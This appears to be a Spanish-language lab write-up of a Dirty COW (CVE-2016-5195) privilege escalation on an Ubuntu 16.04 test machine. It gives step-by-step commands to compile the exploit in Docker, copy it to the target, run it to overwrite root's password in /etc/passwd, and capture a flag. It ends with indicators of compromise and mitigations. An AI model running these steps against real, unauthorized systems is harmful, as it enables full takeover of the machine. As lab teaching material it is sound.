## https://sploitus.com/exploit?id=E852055A-8D3E-5D67-8BFF-60B3E51A7491
# 🐄 Privilege Escalation — Dirty COW (CVE-2016-5195)
> **Entorno de laboratorio controlado — Solo con fines educativos**
[](https://vulners.com/cve/CVE-2016-5195)
[](https://nvd.nist.gov/vuln/detail/CVE-2016-5195)
[](#)
[](#)
[](#flag)
---
## 📋 Descripción
Este repositorio documenta el proceso de **escalamiento de privilegios** sobre una máquina Ubuntu 16.04 LTS vulnerable al exploit **Dirty COW**, explotando una condición de carrera en el mecanismo *Copy-On-Write* del kernel Linux que permite a un usuario sin privilegios escribir en regiones de memoria de solo lectura y obtener acceso `root`.
---
## 🎯 Objetivo del Laboratorio
| Campo | Detalle |
|---|---|
| **Vulnerabilidad** | CVE-2016-5195 — Dirty COW |
| **Sistema Víctima** | Ubuntu 16.04.1 LTS |
| **Kernel Vulnerable** | `4.4.0-21-generic` |
| **IP Objetivo** | `192.168.1.43` |
| **Usuario Inicial** | `student` |
| **Usuario Obtenido** | `root` |
| **Flag** | `4GEEKS{Y0u_G0t_R00t}` |
---
## 🧠 ¿Qué es Dirty COW?
**Dirty COW** (CVE-2016-5195) es una vulnerabilidad crítica de tipo **Race Condition** presente en el subsistema de memoria del kernel Linux. Fue descubierta en 2016 pero existía en el código desde 2007.
El exploit lanza dos hilos concurrentes:
- **Hilo 1** — Escribe repetidamente en `/proc/self/mem` apuntando a un archivo de solo lectura.
- **Hilo 2** — Llama a `madvise(MADV_DONTNEED)` para descartar la copia privada del proceso.
La condición de carrera entre ambos hilos hace que el kernel escriba en la página **original** del archivo (en este caso `/etc/passwd`), logrando modificar la contraseña de `root` sin tener permisos para ello.
---
## 🛠️ Entorno
```
Atacante: Kali Linux (Rolling)
Víctima: Ubuntu 16.04.1 LTS — Kernel 4.4.0-21-generic (192.168.1.43)
```
---
## 🚀 Explotación — Paso a Paso
### Fase 1 — Preparar el Entorno de Compilación (Docker)
El binario debe compilarse con la misma versión de glibc que el sistema víctima (Ubuntu 16.04 / glibc 2.23). Se usa Docker en Kali para evitar incompatibilidades.
```bash
sudo apt update && sudo apt install docker.io -y
sudo systemctl start docker && sudo systemctl enable docker
# Descargar imagen Ubuntu 16.04
sudo docker pull ubuntu:16.04
# Crear y acceder al contenedor
sudo docker run -it --name compile-ubuntu16 ubuntu:16.04
```
### Fase 2 — Instalar Dependencias y Compilar el Exploit
Dentro del contenedor:
```bash
apt update
apt install build-essential nano g++ -y
# Escribir el código fuente del exploit
nano dirty.cpp
# Compilar
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirty dirty.cpp -lutil
exit
```
### Fase 3 — Extraer el Binario del Contenedor
```bash
sudo docker cp compile-ubuntu16:/dirty ./dirty
```
### Fase 4 — Transferir el Exploit al Sistema Víctima
```bash
scp dirty student@192.168.1.43:/home/student
```
### Fase 5 — Ejecutar el Exploit y Escalar Privilegios
```bash
# Conectarse por SSH
ssh student@192.168.1.43
# Dar permisos y ejecutar
chmod +x dirty
./dirty
```
Salida esperada:
```
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
```
```bash
# Escalar a root
su root
# Password: dirtyCowFun
# Capturar la flag
cd ~
cat flag.txt
```
---
## 🚩 Flag
```
4GEEKS{Y0u_G0t_R00t}
```
---
## 🔍 Indicadores de Compromiso (IoC)
| Indicador | Valor |
|---|---|
| Archivo exploit | `dirty` / `dirty.cpp` |
| Archivo modificado | `/etc/passwd` |
| Credencial establecida | `root : dirtyCowFun` |
| Vector de acceso | SSH puerto 22 |
---
## 🛡️ Mitigaciones
- **Actualizar el kernel** a versión `>= 4.8.3` o aplicar parches de seguridad (`sudo apt update && sudo apt upgrade`).
- **Configurar ptrace scope**: agregar `kernel.yama.ptrace_scope = 2` en `/etc/sysctl.conf`.
- **Monitorear `/etc/passwd`** con `auditd` o un IDS para detectar modificaciones inesperadas.
- **Usar autenticación SSH por clave pública** y deshabilitar el acceso por contraseña.
- **Segmentar el acceso SSH** mediante firewall a redes de administración autorizadas.
---
## 📚 Referencias
- [NVD — CVE-2016-5195](https://nvd.nist.gov/vuln/detail/CVE-2016-5195)
- [Ubuntu Security Notice USN-3107-1](https://ubuntu.com/security/notices/USN-3107-1)
- [Repositorio original del exploit (dirtycow)](https://github.com/dirtycow/dirtycow.github.io)
---
## ⚠️ Aviso Legal
Este repositorio tiene **exclusivamente fines educativos**. Toda la actividad documentada fue realizada en un entorno de laboratorio controlado y con autorización. La replicación de estas técnicas en sistemas sin autorización expresa constituye un delito en la mayoría de jurisdicciones.
**No me hago responsable del uso indebido de esta información.**